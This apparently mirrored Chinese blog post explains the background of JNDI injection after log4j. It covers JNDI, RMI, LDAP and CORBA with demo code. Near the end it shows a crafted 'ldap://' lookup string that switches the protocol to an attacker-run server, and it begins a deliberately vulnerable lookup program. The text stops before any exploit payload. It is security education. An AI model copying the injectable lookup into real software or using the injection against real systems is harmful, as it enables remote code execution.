<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          JNDI 注入漏洞的前世今生

          共 17982字,需瀏覽 36分鐘

           ·

          2021-12-17 11:14

          前兩天的 log4j 漏洞引起了安全圈的震動,雖然是二進制選手,但為了融入大家的過年氛圍,還是決定打破舒適圈來研究一下 JNDI 注入漏洞。

          me

          JNDI 101

          首先第一個問題,什么是 JNDI,它的作用是什么?

          根據(jù)官方文檔,JNDI 全稱為?Java Naming and Directory Interface,即 Java 名稱與目錄接口。雖然有點抽象,但我們至少知道它是一個接口;下一個問題是,Naming 和 Directory 是什么意思?很多相關資料都對其語焉不詳,但其實官方對其有詳細解釋。

          Naming

          直譯來說就是“名稱”,但更多情況下是與?Naming Service?一起使用。所謂名稱服務,簡單來說就是通過名稱查找實際對象的服務。這是個抽象概念,正如數(shù)學中的理論所言: 普適的代價就是抽象。名稱服務普遍存在于計算機系統(tǒng)中,比如:

          ?DNS: 通過域名查找實際的 IP 地址;?文件系統(tǒng): 通過文件名定位到具體的文件;?微信: 通過一個微信 ID 找到背后的實際用戶(并進行對話);?……

          通常我們根據(jù)名稱系統(tǒng)(naming system)定義的命名規(guī)則去查找具體的對象,比如在 UNIX 文件系統(tǒng)中,名稱(路徑)規(guī)則就是以根目錄為起點,并以?/?號分隔逐級查找子目錄;DNS 名稱系統(tǒng)中則是要求名稱(域名)從右到左 進行逐級定義,并以點號?.?進行分隔。

          其中另一個值得一提的名稱服務為 LDAP,全稱為?Lightweight Directory Access Protocol[1],即輕量級目錄訪問協(xié)議,其名稱也是從右到左進行逐級定義,各級以逗號分隔,每級為一個 name/value 對,以等號分隔。比如一個 LDAP 名稱如下:

          cn=John,?o=Sun,?c=US

          即表示在 c=US 的子域中查找 o=Sun 的子域,再在結果中查找 cn=John 的對象。關于 LDAP 的詳細介紹見后文。

          在名稱系統(tǒng)中,有幾個重要的概念。

          Bindings: 表示一個名稱和對應對象的綁定關系,比如在文件系統(tǒng)中文件名綁定到對應的文件,在 DNS 中域名綁定到對應的 IP。

          Context: 上下文,一個上下文中對應著一組名稱到對象的綁定關系,我們可以在指定上下文中查找名稱對應的對象。比如在文件系統(tǒng)中,一個目錄就是一個上下文,可以在該目錄中查找文件,其中子目錄也可以稱為子上下文 (subcontext)。

          References: 在一個實際的名稱服務中,有些對象可能無法直接存儲在系統(tǒng)內(nèi),這時它們便以引用的形式進行存儲,可以理解為 C/C++ 中的指針。引用中包含了獲取實際對象所需的信息,甚至對象的實際狀態(tài)。比如文件系統(tǒng)中實際根據(jù)名稱打開的文件是一個整數(shù) fd (file descriptor),這就是一個引用,內(nèi)核根據(jù)這個引用值去找到磁盤中的對應位置和讀寫偏移。

          Directory

          名稱服務還算比較好理解,那目錄服務又是什么呢?簡單來說,目錄服務是名稱服務的一種拓展,除了名稱服務中已有的名稱到對象的關聯(lián)信息外,還允許對象擁有屬性(attributes)信息。由此,我們不僅可以根據(jù)名稱去查找(lookup)對象(并獲取其對應屬性),還可以根據(jù)屬性值去搜索(search)對象。

          以打印機服務為例,我們可以在命名服務中根據(jù)打印機名稱去獲取打印機對象(引用),然后進行打印操作;同時打印機擁有速率、分辨率、顏色等屬性,作為目錄服務,用戶可以根據(jù)打印機的分辨率去搜索對應的打印機對象。

          目錄服務(Directory Service)提供了對目錄中對象(directory objects)的屬性進行增刪改查的操作。一些典型的目錄服務有:

          ?NIS: Network Information Service,Solaris 系統(tǒng)中用于查找系統(tǒng)相關信息的目錄服務;?Active Directory[2]: 為 Windows 域網(wǎng)絡設計,包含多個目錄服務,比如域名服務、證書服務等;?其他基于 LDAP 協(xié)議實現(xiàn)的目錄服務;

          總而言之,目錄服務也是一種特殊的名稱服務,關鍵區(qū)別是在目錄服務中通常使用搜索(search)操作去定位對象,而不是簡單的根據(jù)名稱查找(lookup)去定位。

          在下文中如果沒有特殊指明,都會將名稱服務與目錄服務統(tǒng)稱為目錄服務。

          API

          根據(jù)上面的介紹,我們知道目錄服務是中心化網(wǎng)絡應用的一個重要組件。使用目錄服務可以簡化應用中服務管理驗證邏輯,集中存儲共享信息。在 Java 應用中除了以常規(guī)方式使用名稱服務(比如使用 DNS 解析域名),另一個常見的用法是使用目錄服務作為對象存儲的系統(tǒng),即用目錄服務來存儲和獲取 Java 對象。

          比如對于打印機服務,我們可以通過在目錄服務中查找打印機,并獲得一個打印機對象,基于這個 Java 對象進行實際的打印操作。

          為此,就有了 JNDI,即 Java 的名稱與目錄服務接口,應用通過該接口與具體的目錄服務進行交互。從設計上,JNDI 獨立于具體的目錄服務實現(xiàn),因此可以針對不同的目錄服務提供統(tǒng)一的操作接口。

          JNDI 架構上主要包含兩個部分,即 Java 的應用層接口和 SPI,如下圖所示:

          jndi

          SPI 全稱為 Service Provider Interface,即服務供應接口,主要作用是為底層的具體目錄服務提供統(tǒng)一接口,從而實現(xiàn)目錄服務的可插拔式安裝。在 JDK 中包含了下述內(nèi)置的目錄服務:

          ?RMI: Java Remote Method Invocation,Java 遠程方法調(diào)用;?LDAP: 輕量級目錄訪問協(xié)議;?CORBA: Common Object Request Broker Architecture,通用對象請求代理架構,用于 COS 名稱服務(Common Object Services);

          除此之外,用戶還可以在 Java 官網(wǎng)下載其他目錄服務實現(xiàn)。由于 SPI 的統(tǒng)一接口,廠商也可以提供自己的私有目錄服務實現(xiàn),用戶可無需重復修改代碼。

          JNDI 接口主要分為下述 5 個包:

          ?javax.naming[3]?javax.naming.directory[4]?javax.naming.event[5]?javax.naming.ldap[6]?javax.naming.spi[7]

          其中最重要的是?javax.naming?包,包含了訪問目錄服務所需的類和接口,比如 Context、Bindings、References、lookup 等。以上述打印機服務為例,通過 JNDI 接口,用戶可以透明地調(diào)用遠程打印服務,偽代碼如下所示:

          Context?ctx?=?new?InitialContext(env);
          Printer?printer?=?(Printer)ctx.lookup("myprinter");
          printer.print(report);

          為了更好理解 JNDI,我們需要了解其背后的服務提供者(Service Provider),這些目錄服務本身和 JNDI 有沒直接耦合性,但基于 SPI 接口和 JNDI 構建起了重要的聯(lián)系。

          SPI

          本節(jié)主要介紹在 JDK 中內(nèi)置的幾個 Service Provider,分別是 RMI、LDAP 和 CORBA。這幾個服務本身和 JNDI 沒有直接的依賴,而是通過 SPI 接口實現(xiàn)了聯(lián)系,因此本節(jié)先脫離 JNDI 對這些服務進行簡單介紹。

          RMI

          第一個就是 RMI,即 [Remote Method Invocation,Java 的遠程方法調(diào)用。RMI 為應用提供了遠程調(diào)用的接口,可以理解為 Java 自帶的 RPC 框架。

          一個簡單的 RMI?hello world?主要由三部分組成,分別是接口、服務端和客戶端。

          接口定義:

          import?java.rmi.Remote;
          import?java.rmi.RemoteException;

          public?interface?Hello?extends?Remote?{
          ????String?sayHello()?throws?RemoteException;
          }

          這里定義一個名為 Hello 的接口,其中包含一個方法。

          服務端:

          import?java.rmi.registry.Registry;
          import?java.rmi.registry.LocateRegistry;
          import?java.rmi.RemoteException;
          import?java.rmi.server.UnicastRemoteObject;
          ????????
          public?class?Server?implements?Hello?{
          ????????
          ????public?Server()?{}

          ????public?String?sayHello()?{
          ????????return?"Hello,?world!";
          ????}
          ????????
          ????public?static?void?main(String?args[])?{
          ????????
          ????????try?{
          ????????????Server?obj?=?new?Server();
          ????????????Hello?stub?=?(Hello)?UnicastRemoteObject.exportObject(obj,?1098);

          ????????????//?Bind?the?remote?object's?stub?in?the?registry
          ????????????Registry?registry?=?LocateRegistry.getRegistry(1099);
          ????????????registry.bind("Hello",?stub);

          ????????????System.err.println("Server?ready");
          ????????}?catch?(Exception?e)?{
          ????????????System.err.println("Server?exception:?"?+?e.toString());
          ????????????e.printStackTrace();
          ????????}
          ????}
          }

          服務端有兩個作用,一方面是實現(xiàn)?Hello?接口,另一方面是通過 RMI Registry 注冊當前的實現(xiàn)。其中涉及到兩個端口,1098 表示當前對象的 stub 端口,可以用 0 表示隨機選擇;另外一個是 1099 端口,表示 rmiregistry 的監(jiān)聽端口,后面會講到。

          客戶端代碼如下:

          import?java.rmi.registry.LocateRegistry;
          import?java.rmi.registry.Registry;

          public?class?Client?{

          ????private?Client()?{}

          ????public?static?void?main(String[]?args)?{

          ????????try?{
          ????????????Registry?registry?=?LocateRegistry.getRegistry(1099);
          ????????????Hello?stub?=?(Hello)?registry.lookup("Hello");
          ????????????String?response?=?stub.sayHello();
          ????????????System.out.println("response:?"?+?response);
          ????????}?catch?(Exception?e)?{
          ????????????System.err.println("Client?exception:?"?+?e.toString());
          ????????????e.printStackTrace();
          ????????}
          ????}
          }

          通過?registry.lookup?獲取其中的?Hello?對象,從而進行遠程調(diào)用。

          編譯:

          javac?-d?out?Client.java??Hello.java??Server.java

          生成?out/{Client,Hello,Server}.class?文件。在啟動服務端之前,我們需要先啟動 registry:

          $?cd?out
          $?rmiregistry?1099

          個人理解?registry?類似于服務注冊窗口,通過這個窗口 RMI 服務器可以注冊自己的服務器到全局注冊表中,客戶端可以從而查詢獲取所有已經(jīng)注冊的服務提供商并進行具體的遠程調(diào)用。啟動 registry 后其運行于 1099 端口,隨后啟動 RMI 服務器進行注冊并運行:

          #?回到工程所在路徑
          $?java?-cp?out?Server
          Server?ready

          RMI 服務注冊并啟動后,同時會監(jiān)聽在 1098 端口,也就是我們前面綁定的端口,用于客戶端調(diào)用具體方法(如 sayHello)時實際傳輸數(shù)據(jù)到服務端。

          最后啟動客戶端進行查詢并遠程調(diào)用:

          $?java?-cp?out?Client
          response:?Hello,?world!

          需要注意的點:

          ?rmiregistry 程序運行在 out 目錄下,也就是我們編譯的輸出路徑;?rmiregistry 啟動后可能會過一段時間后才真正開始監(jiān)聽端口;?如果 Server 綁定后退出,那么綁定信息仍然殘留在 rmiregistry 中,再次綁定會提示?java.rmi.AlreadyBoundException,因此 RMI 服務端退出前應該先解除綁定;?遠程調(diào)用的參數(shù)和返回值經(jīng)過序列化后通過網(wǎng)絡傳輸(marshals/unmarshals)。

          拓展閱讀:

          ?Java? Remote Method Invocation API[8]?Getting Started Using Java? RMI[9]

          LDAP

          LDAP 既是一類服務,也是一種協(xié)議,定義在?RFC2251[10](RFC4511[11]) 中,是早期 X.500 DAP (目錄訪問協(xié)議) 的一個子集,因此有時也被稱為?X.500-lite。

          LDAP Directory 作為一種目錄服務,主要用于帶有條件限制的對象查詢和搜索。目錄服務作為一種特殊的數(shù)據(jù)庫,用來保存描述性的、基于屬性的詳細信息。和傳統(tǒng)數(shù)據(jù)庫相比,最大的不同在于目錄服務中數(shù)據(jù)的組織方式,它是一種有層次的樹形結構,因此它有優(yōu)異的讀性能,但寫性能較差,并且沒有事務處理、回滾等復雜功能,不適于存儲修改頻繁的數(shù)據(jù)。

          LDAP 的請求和響應是?ASN.1?格式,使用二進制的 BER 編碼,操作類型(Operation)包括 Bind/Unbind、Search、Modify、Add、Delete、Compare 等等,除了這些常規(guī)的增刪改查操作,同時也包含一些拓展的操作類型和異步通知事件。

          完整的協(xié)議介紹可以參考對應的 RFC 文檔,我們這里直接通過抓包去直觀的感受 LDAP 請求數(shù)據(jù):

          ldap

          上述截圖包含了客戶端對于 LDAP 服務端的兩次請求,一次綁定操作和一次搜索操作,其中搜索操作返回了兩個?LDAPMessage,后一個類型為 searchResDone,標記著搜索結果的結尾,這意味著一般搜索請求可能會返回多個匹配的結果。

          搜索請求使用 Python 編寫,表示在 DN 為?dc=example,dc=org?的子目錄(稱為 baseObject) 中過濾搜索?cn=bob?的對象,最終返回匹配記錄項。

          @defer.inlineCallbacks
          def?onConnect(client):
          ????#?The?following?arguments?may?be?also?specified?as?unicode?strings
          ????#?but?it?is?recommended?to?use?byte?strings?for?ldaptor?objects
          ????basedn?=?b"dc=example,dc=org"
          ????binddn?=?b"cn=bob,ou=people,dc=example,dc=org"
          ????bindpw?=?b"secret"
          ????query?=?b"(cn=bob)"
          ????try:
          ????????yield?client.bind(binddn,?bindpw)
          ????except?Exception?as?ex:
          ????????print(ex)
          ????????raise
          ????o?=?LDAPEntry(client,?basedn)
          ????results?=?yield?o.search(filterText=query)
          ????for?entry?in?results:
          ????????print(entry.getLDIF())

          上述指定的過濾項稱為屬性,LDAP 中常見的屬性定義如下:

          String??X.500?AttributeType
          ------------------------------
          CN??????commonName
          L???????localityName
          ST??????stateOrProvinceName
          O???????organizationName
          OU??????organizationalUnitName
          C???????countryName
          STREET??streetAddress
          DC??????domainComponent
          UID?????userid

          見:?LDAP v3: UTF-8 String Representation of Distinguished Names (RFC2253)[12]

          其中值得注意的是:

          ?DC: Domain Component,組成域名的部分,比如域名?evilpan.com?的一條記錄可以表示為?dc=evilpan,dc=com,從右至左逐級定義;?DN: Distinguished Name,由一系列屬性(從右至左)逐級定義的,表示指定對象的唯一名稱;

          DN 的 ASN.1 描述為:

          DistinguishedName?::=?RDNSequence

          RDNSequence?::=?SEQUENCE?OF?RelativeDistinguishedName
          RelativeDistinguishedName?::=?SET?SIZE?(1..MAX)?OF
          AttributeTypeAndValue

          AttributeTypeAndValue?::=?SEQUENCE?{
          type??AttributeType,
          value?AttributeValue?}

          這也是前文所說的,屬性 type 和 value 使用等號分隔,每個屬性使用逗號分隔。至于其他屬性可以根據(jù)開發(fā)者的設計自行添加,比如對于企業(yè)人員的記錄可以添加工號、郵箱等屬性。

          另外,由于 LDAP 協(xié)議的記錄為 DER 編碼不易于閱讀,可以使用?LDIF(LDAP Data Interchange Format)[13]?文本格式進行表示,通常用于 LDAP 記錄(數(shù)據(jù)庫)的導出和導出。

          CORBA

          CORBA 是一個由 Object Management Group (OMG) 定義的標準。在分布式計算的概念中,ORB(Object Request Broker)[14]?表示用于分布式環(huán)境中遠程調(diào)用的中間件。聽起來有點拗口,其實就是早期的一個 RPC 標準,ORB 在客戶端負責接管調(diào)用并請求服務端,在服務端負責接收請求并將結果返回。

          CORBA 使用接口定義語言(IDL) 去表述對象的對外接口,編譯生成的 stub code 支持 Ada、C/C++、Java、COBOL 等多種語言。其調(diào)用架構如下圖所示:

          orb

          CORBA 標準中定義了詳細的接口模型、時序、事務處理、事件以及接口模型等信息,對其完整介紹超出了本文的范疇,我們直接從開發(fā)者的角度去進行實際的分析。

          以實際的?Hello World?程序來看,一個簡單的 CORBA 用戶程序由三部分組成,分別是 IDL、客戶端和服務端:

          第一部分是 IDL 代碼:

          module?HelloApp
          {
          ??interface?Hello
          ??{
          ??string?sayHello();
          ??oneway?void?shutdown();
          ??};
          };

          使用?idl?編譯器去編譯 IDL 代碼并生成實際的代碼,這里以 Java 代碼為例,使用?idlj?進行編譯:

          $?idlj?-fall?Hello.idl

          -fall?表示同時生成客戶端和服務端的代碼,生成后的文件在 HelloApp 目錄下。

          根據(jù)這些生成的代碼,我們可以編寫自己的客戶端和服務端,先看服務端:

          //?HelloServer.java
          import?HelloApp.*;
          import?org.omg.CosNaming.*;
          import?org.omg.CosNaming.NamingContextPackage.*;
          import?org.omg.CORBA.*;
          import?org.omg.PortableServer.*;
          import?org.omg.PortableServer.POA;

          import?java.util.Properties;

          class?HelloImpl?extends?HelloPOA?{
          ????
          ??public?String?sayHello()?{
          ????return?"Hello?from?server";
          ??}

          ??public?void?shutdown()?{
          ??????System.out.println("shutdown");
          ??}
          }


          public?class?HelloServer?{

          ??public?static?void?main(String?args[])?{
          ????try{
          ??????//?create?and?initialize?the?ORB
          ??????ORB?orb?=?ORB.init(args,?null);

          ??????//?get?reference?to?rootpoa?&?activate?the?POAManager
          ??????POA?rootpoa?=?POAHelper.narrow(orb.resolve_initial_references("RootPOA"));
          ??????rootpoa.the_POAManager().activate();

          ??????//?create?servant
          ??????HelloImpl?helloImpl?=?new?HelloImpl();

          ??????//?get?object?reference?from?the?servant
          ??????org.omg.CORBA.Object?ref?=?rootpoa.servant_to_reference(helloImpl);
          ??????Hello?href?=?HelloHelper.narrow(ref);
          ??????????
          ??????//?get?the?root?naming?context
          ??????//?NameService?invokes?the?name?service
          ??????org.omg.CORBA.Object?objRef?=
          ??????????orb.resolve_initial_references("NameService");
          ??????//?Use?NamingContextExt?which?is?part?of?the?Interoperable
          ??????//?Naming?Service?(INS)?specification.
          ??????NamingContextExt?ncRef?=?NamingContextExtHelper.narrow(objRef);

          ??????//?bind?the?Object?Reference?in?Naming
          ??????String?name?=?"Hello";
          ??????NameComponent?path[]?=?ncRef.to_name(?name?);
          ??????ncRef.rebind(path,?href);

          ??????System.out.println("HelloServer?ready?and?waiting?...");

          ??????//?wait?for?invocations?from?clients
          ??????orb.run();
          ????}?
          ????????
          ??????catch?(Exception?e)?{
          ????????System.err.println("ERROR:?"?+?e);
          ????????e.printStackTrace(System.out);
          ??????}
          ??????????
          ??????System.out.println("HelloServer?Exiting?...");
          ????????
          ??}
          }

          服務端主要做幾件事:

          1.實現(xiàn) HelloPOA 的接口,也就是我們之前在 IDL 中定義的接口;2.根據(jù)參數(shù)初始化 ORB 對象,這一步會通過網(wǎng)絡連接 ORB 服務器,后面會講到;3.將本地實現(xiàn)的 Hello Impl 類轉(zhuǎn)化為引用并綁定到 ORB 服務器對應?Hello?的名稱中;4.循環(huán)等待客戶端調(diào)用;

          接著我們看客戶端的代碼:

          import?HelloApp.*;
          import?org.omg.CosNaming.*;
          import?org.omg.CosNaming.NamingContextPackage.*;
          import?org.omg.CORBA.*;

          public?class?HelloClient
          {
          ??static?Hello?helloImpl;

          ??public?static?void?main(String?args[])
          ????{
          ??????try{
          ????????//?create?and?initialize?the?ORB
          ????????ORB?orb?=?ORB.init(args,?null);

          ????????//?get?the?root?naming?context
          ????????org.omg.CORBA.Object?objRef?=?
          ????????????orb.resolve_initial_references("NameService");
          ????????//?Use?NamingContextExt?instead?of?NamingContext.?This?is?
          ????????//?part?of?the?Interoperable?naming?Service.??
          ????????NamingContextExt?ncRef?=?NamingContextExtHelper.narrow(objRef);
          ?
          ????????//?resolve?the?Object?Reference?in?Naming
          ????????String?name?=?"Hello";
          ????????helloImpl?=?HelloHelper.narrow(ncRef.resolve_str(name));

          ????????System.out.println("Obtained?a?handle?on?server?object:?"?+?helloImpl);
          ????????System.out.println(helloImpl.sayHello());

          ????????helloImpl.shutdown();

          ????????}?catch?(Exception?e)?{
          ??????????System.out.println("ERROR?:?"?+?e)?;
          ??????????e.printStackTrace(System.out);
          ????????}
          ????}

          }

          主要操作為:

          1.通過命令行參數(shù)去初始化 ORB 對象,這個和服務端一致,也會連接到 ORB 服務器;2.在 ORB 服務中查找(解析)名稱 Hello,并通過?HelloHelper.narrow?轉(zhuǎn)換為 Hello 對象;3.通過獲得的 Hello 對象發(fā)起真正的遠程調(diào)用;

          客戶端和服務器在啟動前都會連接 ORB 服務器,這可以看做是一個集中化的目錄服務器,服務端連接后在上面注冊自身的服務廣而告之,客戶端連接后查找想要的服務并進行調(diào)用。實際啟動該服務器的命令如下,監(jiān)聽在 1050 端口:

          orbd?-ORBInitialPort?1050

          編譯好客戶端和服務端代碼后,先啟動服務端,指定用于連接 orbd 的參數(shù):

          java?HelloServer?-ORBInitialPort?1050?-ORBInitialHost?localhost

          客戶端的啟動也是類似:

          java?HelloClient?-ORBInitialPort?1050?-ORBInitialHost?localhost

          客戶端的運行輸出如下:

          Obtained?a?handle?on?server?object:?IOR:000000000000001749444c3a48656c6c6f4170702f48656c6c6f3a312e300000000000010000000000000082000102000000000a3132372e302e302e3100e4d000000031afabcb0000000020b296da9800000001000000000000000100000008526f6f74504f410000000008000000010000000014000000000000020000000100000020000000000001000100000002050100010001002000010109000000010001010000000026000000020002
          Hello?from?server

          在 wireshark 中查看對應的流量:

          pcap

          流量主要分為兩個部分,id 為 23 及其之前的為服務端啟動的流量,后面的是客戶端的啟動以及請求流量。通用的部分為?op=get?和?op=_is_a,在解析 ORB 類參數(shù)并連接?orbd?時觸發(fā)。

          服務端注冊并綁定自身服務通過:

          ?op=to_name: 由?ncRef.to_name(name);?觸發(fā),將字符串名稱轉(zhuǎn)換為?NameComponent?對象;?op=rebind: 由?ncRef.rebind(path, href)?觸發(fā),將本地的對象綁定到目錄服務中;

          客戶端查詢服務并進行調(diào)用:

          ?op=resolve_str: 由于?ncRef.resolve_str(name)?觸發(fā),根據(jù)字符串查詢服務并轉(zhuǎn)換為本地可調(diào)用的對象;?op=sayHello/shutdown: 發(fā)起實際的 RPC 調(diào)用;

          這里有一個關鍵點是在服務端?to_name?的請求所對應的響應中,返回的是 IOR 結構對象,即上圖高亮的部分。這個結構中包含了遠程類的實現(xiàn)代碼,在上面客戶端的輸出中,返回的 helloImpl 打印出來也是 **IOR:000000000000001749444c3a48...**,正是?resolve_str?的返回,和服務端?rebind?的返回結果是一致的。

          IOR?的全稱是?Interoperable Object Reference,即可互操作對象引用,其中包含了用于構建遠程對象所需的必要字段,比如遠程 IIOP 地址、端口信息(這個端口不是 1050,而是動態(tài)生成的)等。

          其他一些常見的名詞解釋如下:

          ?Stub: 由 IDL 編譯而成的客戶端模板代碼,開發(fā)者通過調(diào)用這些代碼來實現(xiàn) RPC 功能;?POA:?Portable Object Adapter[15],可拓展對象適配器,簡單來就是 IDL 編譯而成的服務端模板代碼,開發(fā)者通過繼承去實現(xiàn)對應的接口來實現(xiàn) RPC 的服務端功能,參考上面代碼中的?HelloPOA;?GIOP: General Inter-ORB Protocol,ORB 互傳協(xié)議,是一類抽象協(xié)議,指定轉(zhuǎn)換語法和消息格式的標準集;?IIOP: Internet Inter-ORB Protocol,ORB 網(wǎng)間傳輸協(xié)議,是 GIOP 在互聯(lián)網(wǎng)(TCP/IP)的特化實現(xiàn);?RMI-IIOP: RMI over IIOP,由于 RMI 也是 Java 中常用的遠程調(diào)用框架,因此 Sun 公司提供了針對這二者的一種映射,讓使用 RMI 的程序也能適用于 IIOP 的協(xié)議;

          拓展閱讀:

          ?Common Object Request Broker Architecture[16]?Java IDL: The "Hello World" Example[17]?Java CORBA - Seebug[18]

          JNDI 注入

          背景知識總算介紹完了,接下來開始深入 JNDI 注入的原理。從上面介紹的三個 Service Provider 我們可以看到,除了 RMI 是 Java 特有的遠程調(diào)用框架,其他兩個都是通用的服務和標準,可以脫離 Java 獨立使用。JNDI 就是在這個基礎上提供了統(tǒng)一的接口,來方便調(diào)用各種服務。

          Normal JNDI

          一個簡單的客戶端示例程序如下,使用 JNDI 接口去查詢 DNS 服務:

          //?DNSClient.java
          import?javax.naming.Context;
          import?javax.naming.NamingException;
          import?javax.naming.directory.*;
          import?java.util.Hashtable;

          public?class?DNSClient?{
          ????public?static?void?main(String[]?args)?{
          ????????Hashtable?env?=?new?Hashtable<>();
          ????????env.put(Context.INITIAL_CONTEXT_FACTORY,?"com.sun.jndi.dns.DnsContextFactory");
          ????????env.put(Context.PROVIDER_URL,?"dns://114.114.114.114");

          ????????try?{
          ????????????DirContext?ctx?=?new?InitialDirContext(env);
          ????????????Attributes?res?=?ctx.getAttributes("example.com",?new?String[]?{"A"});
          ????????????System.out.println(res);
          ????????}?catch?(NamingException?e)?{
          ????????????e.printStackTrace();
          ????????}
          ????}
          }

          編譯輸出:

          $?javac?DNSClient.java
          $?java?DNSClient
          {a=A:?93.184.216.34}

          對于其他協(xié)議的調(diào)用也是類似,比如基于我們前面編寫的 LDAP 服務器,使用 JNDI 去進行查詢的代碼如下:

          public?class?Client?{
          ????public?static?void?main(String[]?args)?{
          ????????Hashtable?env?=?new?Hashtable<>();
          ????????env.put(Context.INITIAL_CONTEXT_FACTORY,?"com.sun.jndi.ldap.LdapCtxFactory");
          ????????env.put(Context.PROVIDER_URL,?"ldap://localhost:8080");

          ????????try?{
          ????????????DirContext?ctx?=?new?InitialDirContext(env);
          ????????????DirContext?lookCtx?=?(DirContext)ctx.lookup("cn=bob,ou=people,dc=example,dc=org");
          ????????????Attributes?res?=?lookCtx.getAttributes("");
          ????????????System.out.println(res);
          ????????}?catch?(NamingException?e)?{
          ????????????e.printStackTrace();
          ????????}
          ????}
          }

          輸出:

          $?java?LDAPClient
          {mail=mail:[email protected],?userpassword=userPassword:?[B@c038203,?objectclass=objectClass:?inetOrgPerson,?person,?top,?gn=gn:?Bob,?sn=sn:?Roberts,?cn=cn:?bob}

          動態(tài)協(xié)議切換

          前面我們看到初始化 JNDI 上下文主要使用環(huán)境變量實現(xiàn):

          ?INITIAL_CONTEXT_FACTORY: 指定初始化協(xié)議的工廠類;?PROVIDER_URL: 指定對應名稱服務的 URL 地址;

          但是,實際上在 Context.lookup 方法的參數(shù)中,用戶可以指定自己的查找協(xié)議,我們來看下面的代碼:

          public?class?JNDIDynamic?{
          ????public?static?void?main(String[]?args)?{
          ????????if?(args.length?!=?1)?{
          ????????????System.out.println("Usage:?lookup?");
          ????????????return;
          ????????}
          ????????Hashtable?env?=?new?Hashtable<>();
          ????????env.put(Context.INITIAL_CONTEXT_FACTORY,?"com.sun.jndi.dns.DnsContextFactory");
          ????????env.put(Context.PROVIDER_URL,?"dns://114.114.114.114");

          ????????try?{
          ????????????DirContext?ctx?=?new?InitialDirContext(env);
          ????????????DirContext?lookCtx?=?(DirContext)ctx.lookup(args[0]);
          ????????????Attributes?res?=?lookCtx.getAttributes("",?new?String[]{"A"});
          ????????????System.out.println(res);
          ????????}?catch?(NamingException?e)?{
          ????????????e.printStackTrace();
          ????????}
          ????}
          }

          意圖很簡單,想通過用戶的輸入去查找對應域名:

          $?javac?JNDIDynamic.java
          $?java?JNDIDynamic
          Usage:?lookup?
          $?java?JNDIDynamic?douban.com
          {a=A:?140.143.177.206,?49.233.242.15,?81.70.124.99}

          但是,我們也可以通過指定的查找參數(shù)去切換查找協(xié)議:

          $?java?JNDIDynamic?"ldap://localhost:8080/cn=evilpan"
          javax.naming.NameNotFoundException:?[LDAP:?error?code?32?-?No?Such?Object];?remaining?name?'cn=evilpan'
          ????at?java.naming/com.sun.jndi.ldap.LdapCtx.mapErrorCode(LdapCtx.java:3183)
          ????at?java.naming/com.sun.jndi.ldap.LdapCtx.processReturnCode(LdapCtx.java:3104)
          ????at?java.naming/com.sun.jndi.ldap.LdapCtx.processReturnCode(LdapCtx.java:2895)
          ????at?java.naming/com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1034)
          ????at?java.naming/com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
          ????at?java.naming/com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
          ????at?java.naming/com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:207)
          ????at?java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
          ????at?java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)
          ????at?JNDIDynamic.main(JNDIDynamic.java:18)

          此時我們的 LDAP 服務端已經(jīng)收到了查詢請求:

          $?./server.py
          2021-12-13?19:50:08+0800?[-]?Log?opened.
          2021-12-13?19:50:08+0800?[-]?LDAPServerFactory?starting?on?8080
          2021-12-13?19:50:08+0800?[-]?Starting?factory?<__main__.LDAPServerFactory?object?at?0x10e552dc0>

          2021-12-13?19:50:09+0800?[LDAPServer,0,127.0.0.1]?S<-C?LDAPMessage(id=1,?value=LDAPBindRequest(version=3,?dn=b'',?auth='',?sasl=False),?controls=None)
          2021-12-13?19:50:09+0800?[LDAPServer,0,127.0.0.1]?S->C?LDAPMessage(id=1,?value=LDAPBindResponse(resultCode=0),?controls=None)
          2021-12-13?19:50:09+0800?[LDAPServer,0,127.0.0.1]?S<-C?LDAPMessage(id=2,?value=LDAPSearchRequest(baseObject=b'cn=evilpan',?scope=0,?derefAliases=3,?sizeLimit=0,?timeLimit=0,?typesOnly=0,?filter=LDAPFilter_present(value=b'objectClass'),?attributes=[]),?controls=[(b'2.16.840.1.113730.3.4.2',?None,?None)])
          2021-12-13?19:50:09+0800?[LDAPServer,0,127.0.0.1]?S->C?LDAPMessage(id=2,?value=LDAPSearchResultDone(resultCode=32),?controls=None)
          2021-12-13?19:50:10+0800?[LDAPServer,0,127.0.0.1]?S<-C?LDAPMessage(id=3,?value=LDAPUnbindRequest(),?controls=[(b'2.16.840.1.113730.3.4.2',?None,?None)])

          這就是?JNDI 注入?的根源所在。通過精心構造服務端的返回,我們可以讓請求查找的客戶端解析遠程代碼,最終實現(xiàn)遠程命令執(zhí)行。JDK 中默認支持的 JNDI 自動協(xié)議轉(zhuǎn)換以及對應的工廠類如下所示:

          協(xié)議schemaContext
          DNSdns://com.sun.jndi.url.dns.dnsURLContext
          RMIrmi://com.sun.jndi.url.rmi.rmiURLContext
          LDAPldap://com.sun.jndi.url.ldap.ldapURLContext
          LDAPldaps://com.sun.jndi.url.ldaps.ldapsURLContextFactory
          IIOPiiop://com.sun.jndi.url.iiop.iiopURLContext
          IIOPiiopname://com.sun.jndi.url.iiopname.iiopnameURLContextFactory
          IIOPcorbaname://com.sun.jndi.url.corbaname.corbanameURLContextFactory

          漏洞利用

          根據(jù)上節(jié)介紹,基于 JNDI Context 的查找內(nèi)容如果用戶可控,就存在 JNDI 注入的可能,那注入后如何獲得最終的代碼執(zhí)行權限呢?對于不同的內(nèi)置目錄服務有不同的攻擊面,下面分別進行介紹。

          為了簡化代碼,我們假定帶有漏洞的程序如下:

          import?javax.naming.InitialContext;
          import?javax.naming.NamingException;
          import?javax.naming.directory.*;
          import?java.util.Hashtable;

          public?class?JNDILookup?{
          ????public?static?void?main(String[]?args)?{
          ????????if?(args.length?!=?1)?{
          ????????????System.out.println("Usage:?lookup?");
          ????????????return;
          ????????}
          ????????try?{
          ????????????Object?ret?=?new?InitialContext().lookup(args[0]);
          ????????????System.out.println("ret:?"?+?ret);
